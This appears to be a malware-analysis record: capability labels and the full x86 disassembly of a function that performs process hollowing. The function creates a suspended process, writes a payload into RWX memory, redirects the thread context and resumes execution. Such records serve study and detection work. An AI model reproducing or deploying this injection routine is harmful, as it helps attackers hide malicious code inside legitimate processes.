Function at 0x401565
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Resume thread
Terminate process
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push edi
sub esp, 0x364
lea edx, [ebp - 0x50]
mov eax, 0
mov ecx, 0x11
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [ebp - 0x50], 0x44
lea edx, [ebp - 0x32c]
mov eax, 0
mov ecx, 0xb3
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [ebp - 0xc], 0
lea eax, [ebp - 0x60]
mov dword [esp + 0x24], eax
lea eax, [ebp - 0x50]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._CreateProcessA_40
sub esp, 0x28
test eax, eax
jne 0x401614
call sym._GetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.Failed_to_create_process_for_hollowing._Error:__lu_n
call sym._printf
jmp 0x4017ae
mov dword [ebp - 0x32c], 0x10007
mov eax, dword [ebp - 0x5c]
lea edx, [ebp - 0x32c]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._GetThreadContext_8
sub esp, 8
test eax, eax
jne 0x40166a
call sym._GetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.Failed_to_get_thread_context._Error:__lu_n
call sym._printf
mov eax, dword [ebp - 0x60]
mov dword [esp + 4], 0
mov dword [esp], eax
call sym._TerminateProcess_8
sub esp, 8
jmp 0x4017ae
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._strlen
lea edx, [eax + 1]
mov eax, dword [ebp - 0x60]
mov dword [esp + 0x10], 0x40
mov dword [esp + 0xc], 0x3000
mov dword [esp + 8], edx
mov dword [esp + 4], 0
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x4016db
call sym._GetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.Failed_to_allocate_memory_in_target_process._Error:__lu_n
call sym._printf
mov eax, dword [ebp - 0x60]
mov dword [esp + 4], 0
mov dword [esp], eax
call sym._TerminateProcess_8
sub esp, 8
jmp 0x4017ae
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._strlen
lea edx, [eax + 1]
mov eax, dword [ebp - 0x60]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], edx
mov edx, dword [ebp + 0xc]
mov dword [esp + 8], edx
mov edx, dword [ebp - 0xc]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
test eax, eax
jne 0x401742
call sym._GetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.Failed_to_write_payload_to_target_process_memory._Error:__lu_n
call sym._printf
mov eax, dword [ebp - 0x60]
mov dword [esp + 4], 0
mov dword [esp], eax
call sym._TerminateProcess_8
sub esp, 8
jmp 0x4017ae
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x274], eax
mov eax, dword [ebp - 0x5c]
lea edx, [ebp - 0x32c]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._SetThreadContext_8
sub esp, 8
test eax, eax
jne 0x401794
call sym._GetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.Failed_to_set_thread_context._Error:__lu_n
call sym._printf
mov eax, dword [ebp - 0x60]
mov dword [esp + 4], 0
mov dword [esp], eax
call sym._TerminateProcess_8
sub esp, 8
jmp 0x4017ae
mov eax, dword [ebp - 0x5c]
mov dword [esp], eax
call sym._ResumeThread_4
sub esp, 4
mov dword [esp], str.Payload_executed_in_hollowed_process.
call sym._puts
mov edi, dword [ebp - 4]
leave
ret